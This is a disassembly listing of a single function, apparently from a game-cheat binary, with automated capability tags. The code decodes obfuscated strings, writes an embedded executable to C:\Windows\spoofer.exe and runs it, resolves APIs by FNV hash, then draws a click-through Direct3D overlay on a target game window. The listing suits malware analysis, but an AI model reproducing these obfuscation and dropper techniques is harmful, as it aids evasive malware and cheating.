Function at 0x1400746d0
Capabilities:
Access peb ldr_data
Check os version
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Execute command
Get number of processors
Hash data using fnv
Log keystrokes via polling
Resolve function by fnv-1a hash
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x6d8]
sub rsp, 0x7b0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x1400ea080]
xor rax, rsp
mov qword [rbp + 0x600], rax
mov byte [rbp + 0x260], 0xba
mov byte [rbp + 0x261], 0x9c
mov byte [rbp + 0x262], 0xe4
mov byte [rbp + 0x263], 0xf0
mov byte [rbp + 0x264], 0xe3
mov byte [rbp + 0x265], 0x9a
mov byte [rbp + 0x266], 0xf8
mov byte [rbp + 0x267], 0xdd
mov byte [rbp + 0x268], Ordinal_211
mov byte [rbp + 0x269], Ordinal_211
mov byte [rbp + 0x26a], 0xa4
mov byte [rbp + 0x26b], 0xa8
mov byte [rbp + 0x26c], 0xa6
mov byte [rbp + 0x26d], 0xe9
mov byte [rbp + 0x26e], 0xe4
mov byte [rbp + 0x26f], 0xe9
mov byte [rbp + 0x270], 0xee
mov byte [rbp + 0x271], 0xec
mov byte [rbp + 0x272], 0xae
mov byte [rbp + 0x273], 0xaf
mov byte [rbp + 0x274], 0xba
mov byte [rbp + 0x275], 0xaf
mov byte [rbp + 0x276], 0xb6
mov byte [rbp + 0x277], 0xe2
mov byte [rbp + 0x278], 0xf3
mov byte [rbp + 0x279], 0xf5
mov byte [rbp + 0x27a], 0xfd
mov byte [rbp + 0x27b], 0xa5
mov byte [rbp + 0x27c], 0xb4
mov byte [rbp + 0x27d], 0xb4
mov byte [rbp + 0x27e], 0xa9
mov byte [rbp + 0x27f], 0xf7
mov byte [rbp + 0x280], 0xa2
mov byte [rbp + 0x281], 0xb9
mov byte [rbp + 0x282], 0xb0
mov byte [rbp + 0x283], 0xa9
mov byte [rbp + 0x284], 0xbb
mov byte [rbp + 0x285], 0xb4
mov byte [rbp + 0x286], 0xf4
mov byte [rbp + 0x287], 0xbe
mov byte [rbp + 0x288], 0xbe
mov byte [rbp + 0x289], 0xb4
mov byte [rbp + 0x28a], Ordinal_143
mov byte [rbp + 0x28b], 0x83
mov byte [rbp + 0x28c], __WSAFDIsSet
mov byte [rbp + 0x28d], Ordinal_200
mov byte [rbp + 0x28e], 0xca
mov byte [rbp + 0x28f], Ordinal_211
mov byte [rbp + 0x290], 0xa9
mov byte [rbp + 0x291], Ordinal_143
mov byte [rbp + 0x292], Ordinal_211
mov byte [rbp + 0x293], 0x9c
mov byte [rbp + 0x294], Ordinal_211
mov byte [rbp + 0x295], Ordinal_143
mov byte [rbp + 0x296], Ordinal_143
mov byte [rbp + 0x297], 0x86
mov byte [rbp + 0x298], 0xc1
mov byte [rbp + 0x299], 0x84
mov byte [rbp + 0x29a], __WSAFDIsSet
mov byte [rbp + 0x29b], 0x84
mov byte [rbp + 0x29c], __WSAFDIsSet
mov byte [rbp + 0x29d], __WSAFDIsSet
mov byte [rbp + 0x29e], 0x9e
mov byte [rbp + 0x29f], Ordinal_143
mov byte [rbp + 0x2a0], Ordinal_211
mov byte [rbp + 0x2a1], 0x88
mov byte [rbp + 0x2a2], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x2a3], 0x9c
mov byte [rbp + 0x2a4], 0x90
mov byte [rbp + 0x2a5], 0xda
mov byte [rbp + 0x2a6], 0x81
mov byte [rbp + 0x2a7], Ordinal_211
mov byte [rbp + 0x2a8], __WSAFDIsSet
mov byte [rbp + 0x2a9], 0x9a
mov byte [rbp + 0x2aa], 0x63
mov byte [rbp + 0x2ab], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x2ac], 0x75
mov byte [rbp + 0x2ad], Ordinal_45
mov byte [rbp + 0x2ae], 0x62
mov byte [rbp + 0x2af], 0x66
mov byte [rbp + 0x2b0], 0x76
mov byte [rbp + 0x2b1], WSAGetLastError
mov byte [rbp + 0x2b2], Ordinal_50
mov byte [rbp + 0x2b3], 0x7d
mov byte [rbp + 0x2b4], 0x61
mov byte [rbp + 0x2b5], Ordinal_41
mov byte [rbp + 0x2b6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x2b7], Ordinal_35
mov byte [rbp + 0x2b8], 1
movzx eax, byte [rbp + 0x260]
xor edi, edi
mov r9d, edi
movabs r11, 0x2e437daff81407b6
mov r10, r11
lea rax, [rbp + 0x260]
sub r10, rax
lea r15d, [rdi + 0xf]
nop dword [rax]
lea rdx, [rbp + 0x260]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r15d
cmp rcx, r15
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, r15b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x260], al
inc r9
cmp r9, 0x59
jb 0x1400749e0
lea rcx, [rbp + 0x260]
call fcn.140017e10
call fcn.140074570
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x1a8], 0xaa
mov byte [rbp + 0x1a9], 0x81
mov byte [rbp + 0x1aa], 0xff
mov byte [rbp + 0x1ab], 0xc1
mov byte [rbp + 0x1ac], 0xfe
mov byte [rbp + 0x1ad], Ordinal_143
mov byte [rbp + 0x1ae], 0xfc
mov byte [rbp + 0x1af], Ordinal_217
mov byte [rbp + 0x1b0], Ordinal_217
mov byte [rbp + 0x1b1], Ordinal_217
mov byte [rbp + 0x1b2], 0xda
mov byte [rbp + 0x1b3], Ordinal_217
mov byte [rbp + 0x1b4], Ordinal_211
mov byte [rbp + 0x1b5], __WSAFDIsSet
mov byte [rbp + 0x1b6], 0x9a
mov byte [rbp + 0x1b7], 0x98
mov byte [rbp + 0x1b8], 0xba
mov byte [rbp + 0x1b9], 0xb1
movzx eax, byte [rbp + 0x1a8]
mov r9, rdi
movabs rbx, 0xfcf1e706a02d58aa
mov r10, rbx
lea rax, [rbp + 0x1a8]
sub r10, rax
nop word [rax + rax]
lea rdx, [rbp + 0x1a8]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r15d
cmp rcx, r15
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, r15b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x1a8], al
inc r9
cmp r9, 0x12
jb 0x140074ae0
lea rdx, [rbp + 0x1a8]
mov rcx, r11
call fcn.140064630
movzx edx, byte [rbp + 0x2c0]
lea rcx, [rbp + 0x3a0]
call fcn.140060f50
nop
mov r8d, reloc.WLDAP32.dll_Ordinal_22
lea rdx, str.C:Windows_spoofer.exe
lea rcx, [rbp + 0x3a0]
call fcn.140060f70
nop
mov r8d, 0x31000
lea rdx, [0x1400ea300]
lea rcx, [rbp + 0x3a0]
call fcn.140074050
nop
lea rcx, [rbp + 0x3a0]
call fcn.14005d040
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140074c16
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140074c16
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074c11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074bf0
cmp r8d, 0x2fa62ca8
je 0x140074c1b
test r9d, r9d
jne 0x140074bd0
mov rax, qword [rax]
jmp 0x140074ba0
mov edx, dword [rsi + 0x1c]
add rdx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
lea rcx, str.C:Windows_spoofer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140ac0970]
call fcn.1400624e0
test al, al
jne 0x140074c6d
lea rcx, str.load_the_driver_n
call fcn.140017e10
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x238], 0xaa
mov byte [rbp + 0x239], 0x85
mov byte [rbp + 0x23a], 0xe4
mov byte [rbp + 0x23b], 0xdb
mov byte [rbp + 0x23c], 0xe8
mov byte [rbp + 0x23d], __WSAFDIsSet
mov byte [rbp + 0x23e], 0xe6
mov byte [rbp + 0x23f], 0xdd
mov byte [rbp + 0x240], Ordinal_217
mov byte [rbp + 0x241], Ordinal_200
mov byte [rbp + 0x242], Ordinal_211
mov byte [rbp + 0x243], Ordinal_217
mov byte [rbp + 0x244], 0xde
mov byte [rbp + 0x245], 0x9d
mov byte [rbp + 0x246], 0xfd
mov byte [rbp + 0x247], Ordinal_217
mov byte [rbp + 0x248], Ordinal_200
mov byte [rbp + 0x249], __WSAFDIsSet
mov byte [rbp + 0x24a], Ordinal_143
mov byte [rbp + 0x24b], 0xad
mov byte [rbp + 0x24c], 0xb7
mov byte [rbp + 0x24d], 0xb2
mov byte [rbp + 0x24e], 0xaf
mov byte [rbp + 0x24f], 0xa5
mov byte [rbp + 0x250], 0xb8
mov byte [rbp + 0x251], 0xa7
mov byte [rbp + 0x252], 0xe5
mov byte [rbp + 0x253], 0xe6
mov byte [rbp + 0x254], 0xe7
mov byte [rbp + 0x255], Ordinal_200
mov byte [rbp + 0x256], 0xcb
movzx eax, byte [rbp + 0x238]
mov r9, rdi
movabs rbx, 0x6763135a95573fae
mov r10, rbx
lea rax, [rbp + 0x238]
sub r10, rax
nop
lea rdx, [rbp + 0x238]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x238], al
inc r9
cmp r9, 0x1f
jb 0x140074d70
lea rdx, [rbp + 0x238]
mov rcx, r11
call fcn.140064630
cmp qword [0x140ac0138], 0
jne 0x140074ebe
movabs rsi, 0x2b830395861a02ae
mov rbx, rsi
lea rax, [rbp + 0x90]
sub rbx, rax
nop dword [rax]
nop dword [rax + rax]
mov byte [rbp + 0x90], 0xe6
mov byte [rbp + 0x91], 0xca
mov byte [rbp + 0x92], 0xc0
mov byte [rbp + 0x93], Ordinal_200
mov byte [rbp + 0x94], Ordinal_217
mov byte [rbp + 0x95], 0xdb
mov byte [rbp + 0x96], Ordinal_200
mov byte [rbp + 0x97], Ordinal_217
mov byte [rbp + 0x98], __WSAFDIsSet
mov byte [rbp + 0x99], 0x9e
mov byte [rbp + 0x9a], 0xbb
movzx eax, byte [rbp + 0x90]
mov r9, rdi
nop word [rax + rax]
lea rdx, [rbp + 0x90]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add dl, bl
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x90], al
inc r9
cmp r9, 0xb
jb 0x140074e50
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x140ac0138], rax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140ac0138], 0
je 0x140074df0
movups xmm1, xmmword [0x1400dbe30]
movups xmm0, xmmword [str.u_GBYQM_xPT_Q4l]
movups xmmword [rbp + 0x360], xmm1
movups xmmword [rbp + 0x350], xmm0
mov eax, dword [0x1400dbe60]
movups xmm1, xmmword [0x1400dbe50]
movups xmm0, xmmword [str.srje______46T]
mov dword [rbp + 0x390], eax
movups xmmword [rbp + 0x380], xmm1
movups xmmword [rbp + 0x370], xmm0
mov r8d, edi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14007502f
movdqa xmm5, xmmword [0x1400dc1e0]
movdqa xmm4, xmmword [0x1400dc380]
movdqa xmm6, xmmword [str.11119999]
movdqa xmm7, xmmword [0x1400dc250]
lea rcx, [rbp + 0x350]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140074f40
cmp r8d, 0x22
jge 0x140075074
movsxd rax, r8d
lea r9, [rbp + 0x350]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x22
jl 0x140075040
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [0x140ac097c], eax
mov dword [0x140ac0970], eax
mov edx, eax
lea rcx, [0x140ac0970]
call fcn.140062740
call fcn.140074190
call fcn.140065b30
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov rcx, qword [0x140ac02f8]
mov dword [rcx + 0xc], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov rcx, qword [0x140ac02f8]
mov dword [rcx + 0x10], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x520], xmm0
mov qword [rbp + 0x530], rax
lea rdx, [rbp + 0x6d8]
lea rcx, [rbp + 0x520]
call fcn.140064b40
nop
mov rcx, qword [0x140ac0130]
test rcx, rcx
jne 0x140075123
nop
call fcn.1400725b0
mov qword [0x140ac0130], rax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140ac0130]
test rcx, rcx
je 0x140075100
movdqa xmm0, xmmword [0x1400dc170]
movdqu xmmword [rbp + 0x5d8], xmm0
lea rdx, [rbp + 0x5d8]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xor edx, edx
mov rcx, qword [0x140ac0130]
call qword [sym.imp.USER32.dll_SetMenu]
mov edx, 0xfffffff0
mov r8d, 0x10000000
mov rcx, qword [0x140ac0130]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov edx, 0xffffffec
mov r8d, 0x80020
mov rcx, qword [0x140ac0130]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov edx, 5
mov rcx, qword [0x140ac0130]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140ac0130]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov edx, 0xffffffec
mov rcx, qword [0x140ac0130]
call qword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80020
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x140ac0130]
call qword [sym.imp.USER32.dll_SetWindowLongA]
nop
mov rcx, qword [rbp + 0x520]
xor rcx, qword [rbp + 0x528]
mov qword [rbp + 0x520], rcx
mov rax, qword [rbp + 0x530]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4b0], xmm0
mov qword [rbp + 0x4c0], rax
lea rdx, [rbp + 0x6d8]
lea rcx, [rbp + 0x4b0]
call fcn.140064b40
nop
mov qword [rbp + 0x438], 1
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x448], 1
mov qword [rbp + 0x420], Ordinal_33
mov dword [rbp + 0x428], edi
mov dword [rbp + 0x418], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x41c], 1
mov qword [rbp + 0x410], rdi
mov dword [rbp + 0x434], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [0x140ac0130]
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x42c], 8
mov dword [rbp + 0x5f8], 0xb000
mov dword [rbp + 0x5fc], 0xa000
lea rax, [0x140ac0100]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x568]
mov qword [rsp + 0x50], rax
lea rax, [0x140ac0110]
mov qword [rsp + 0x48], rax
lea rax, [0x140ac0118]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x410]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x5f8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
movabs rsi, 0xcbf78fb0b3183242
test eax, eax
jne 0x14007550e
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x37c8
lea r9d, [rax + 8]
mov r8d, 0x448
lea rcx, str.1.89.6_WIP
call fcn.14002a390
xor ecx, ecx
call fcn.14001c130
mov r10, qword [0x140ac0050]
or dword [r10 + 0x47d0], 2
movsd xmm0, qword [r10 + 0x10]
movsd qword [r10 + 0x47f0], xmm0
mov dword [r10 + 0x47d8], 1
mov qword [r10 + 0x20], rdi
mov byte [rbp + 0x100], 3
mov byte [rbp + 0x101], 0x7d
mov byte [rbp + 0x102], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x103], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x104], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x105], gethostname
mov byte [rbp + 0x106], 0x3f
mov byte [rbp + 0x107], Ordinal_50
mov byte [rbp + 0x108], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x109], gethostname
mov byte [rbp + 0x10a], Ordinal_41
mov byte [rbp + 0x10b], WSASetLastError
mov byte [rbp + 0x10c], Ordinal_41
mov byte [rbp + 0x10d], gethostname
mov byte [rbp + 0x10e], 0x3d
mov byte [rbp + 0x10f], 0x5d
movzx eax, byte [rbp + 0x100]
mov r9, rdi
mov r11, rsi
lea rax, [rbp + 0x100]
sub r11, rax
nop
lea rdx, [rbp + 0x100]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, 0xf
add dl, r11b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x100], al
inc r9
cmp r9, 0x10
jb 0x140075400
lea rax, [rbp + 0x100]
mov qword [0x140ac0108], rax
lea rax, [0x1400dae04]
mov qword [rsp + 0x20], rax
xor r9d, r9d
movss xmm2, dword [0x1400dc020]
lea rdx, [rbp + 0x100]
mov rcx, qword [r10 + 0x58]
call fcn.140042790
mov rcx, qword [0x140ac0118]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [rbp + 0x400]
lea r8, [0x1400dbe70]
xor edx, edx
call r10
mov rcx, qword [0x140ac0110]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [0x140ac0120]
xor r8d, r8d
mov rdx, qword [rbp + 0x400]
call r10
xor edx, edx
mov rcx, qword [0x140ac0130]
call fcn.140064e20
mov rdx, qword [0x140ac0100]
mov rcx, qword [0x140ac0110]
call fcn.1400490d0
mov rcx, qword [rbp + 0x400]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [r9 - 1]
mov rcx, qword [0x140ac0130]
call qword [sym.imp.USER32.dll_SetWindowPos]
nop
mov rcx, qword [rbp + 0x4b0]
xor rcx, qword [rbp + 0x4b8]
mov qword [rbp + 0x4b0], rcx
mov rax, qword [rbp + 0x4c0]
mov qword [rax], rcx
mov r14, qword [0x140ac05f0]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rax
lea rdx, [rbp + 0x6d8]
lea rcx, [rbp + 0x550]
call fcn.140064b40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a8], xmm0
movups xmmword [rbp + 0x5b8], xmm0
movups xmmword [rbp + 0x5c8], xmm0
lea rsi, [rbp + 0x6d8]
movabs r12, 0xeb0c261bd24770f6
movabs r13, 0xa922cfad73b74ac2
movss xmm12, dword [0x1400dc0a8]
movss xmm15, dword [0x1400dc01c]
xorps xmm10, xmm10
movss xmm7, dword [0x1400dbf88]
movss xmm8, dword [0x1400dc0d4]
movss xmm6, dword [0x1400dbef8]
movss xmm9, dword [0x1400dc05c]
movss xmm13, dword [0x1400dc0ac]
movss xmm11, dword [0x1400dc130]
movss xmm14, dword [0x1400dc0a0]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x140ac0130]
lea rcx, [rbp + 0x5a8]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140075621
lea rcx, [rbp + 0x5a8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x5a8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
mov rbx, qword [0x140ac0050]
lea rcx, [rbp + 0x4c8]
call qword [sym.imp.USER32.dll_GetCursorPos]
movd xmm0, dword [rbp + 0x4c8]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xe08], xmm0
movd xmm0, dword [rbp + 0x4cc]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xe0c], xmm0
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140075687
mov byte [rbx + 0xe10], 1
mov byte [rbx + 0x3748], 1
mov eax, dword [rbx + 0xe0c]
mov dword [rbx + 0x36f8], eax
jmp 0x14007568e
mov byte [rbx + 0xe10], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x508], xmm0
mov qword [rbp + 0x518], rax
mov rdx, rsi
lea rcx, [rbp + 0x508]
call fcn.140064b40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
mov rax, qword [0x140ac0050]
mov byte [rax + 0x78], 0
call fcn.1400492e0
call fcn.1400656b0
call fcn.14001e660
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rcx, qword [0x140ac02f8]
test al, 1
je 0x14007570a
cmp byte [rcx + 0x14], 0
sete al
mov byte [rcx + 0x14], al
cmp byte [rcx + 0x14], 0
je 0x1400780b9
cmp byte [0x140ac0049], 1
je 0x140075724
mov cl, 1
call fcn.140073440
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], rax
mov rdx, rsi
lea rcx, [rbp + 0x4f0]
call fcn.140064b40
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x538], xmm0
mov qword [rbp + 0x548], rax
mov rdx, rsi
lea rcx, [rbp + 0x538]
call fcn.140064b40
nop
lea rcx, [rbp + 0x570]
call fcn.140072560
mov dword [0x140ac0128], 0x30120
cmp qword [0x140ac00f0], 0
jne 0x1400757c1
mov qword [rsp + 0x30], rdi
lea rax, [0x140ac00f0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x570]
mov r8d, 0x2385a0
lea rdx, [0x14011c6f0]
mov rcx, qword [0x140ac0110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140ac00d8], 0
jne 0x140075802
mov qword [rsp + 0x30], rdi
lea rax, [0x140ac00d8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x570]
mov r8d, 0x249
lea rdx, [0x140354c90]
mov rcx, qword [0x140ac0110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140ac00e0], 0
jne 0x140075843
mov qword [rsp + 0x30], rdi
lea rax, [0x140ac00e0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x570]
mov r8d, 0x1e8
lea rdx, [0x140355120]
mov rcx, qword [0x140ac0110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140ac00f8], 0
jne 0x140075884
mov qword [rsp + 0x30], rdi
lea rax, [0x140ac00f8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x570]
mov r8d, 0x1f7
lea rdx, [0x1400ea100]
mov rcx, qword [0x140ac0110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140ac0150], 0
jne 0x1400758c5
mov qword [rsp + 0x30], rdi
lea rax, [0x140ac0150]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x570]
mov r8d, 0x100
lea rdx, [0x140abeed0]
mov rcx, qword [0x140ac0110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140ac0148], 0
jne 0x140075906
mov qword [rsp + 0x30], rdi
lea rax, [0x140ac0148]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x570]
mov r8d, 0x243
lea rdx, [0x14011b300]
mov rcx, qword [0x140ac0110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140ac00c8], 0
jne 0x140075947
mov qword [rsp + 0x30], rdi
lea rax, [0x140ac00c8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x570]
mov r8d, 0x23f
lea rdx, [0x140354ee0]
mov rcx, qword [0x140ac0110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140ac00e8], 0
jne 0x140075988
mov qword [rsp + 0x30], rdi
lea rax, [0x140ac00e8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x570]
mov r8d, 0xfbe
lea rdx, [0x140355310]
mov rcx, qword [0x140ac0110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140ac00d0], 0
jne 0x1400759ca
mov qword [rsp + 0x30], rdi
lea rax, [0x140ac00d0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x570]
mov r8d, 0x1192
lea rdx, [0x14011b550]
mov rcx, qword [0x140ac0110]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
nop
mov rcx, qword [rbp + 0x538]
xor rcx, qword [rbp + 0x540]
mov qword [rbp + 0x538], rcx
mov rax, qword [rbp + 0x548]
mov qword [rax], rcx
mov rax, qword [0x140ac02f8]
cmp byte [rax + 0x14], 0
je 0x14007808d
mov rsi, qword [0x140ac0050]
mov qword [rsi + 0x37d8], rdi
mov dword [rsi + 0x37e4], edi
mov dword [rsi + 0x381c], 0x41a00000
mov dword [rsi + 0x3820], 0x41a00000
mov dword [rsi + 0x3844], 0x41000000
or dword [rsi + 0x47d0], 2
mov dword [rsi + 0x47f0], 0x44548000
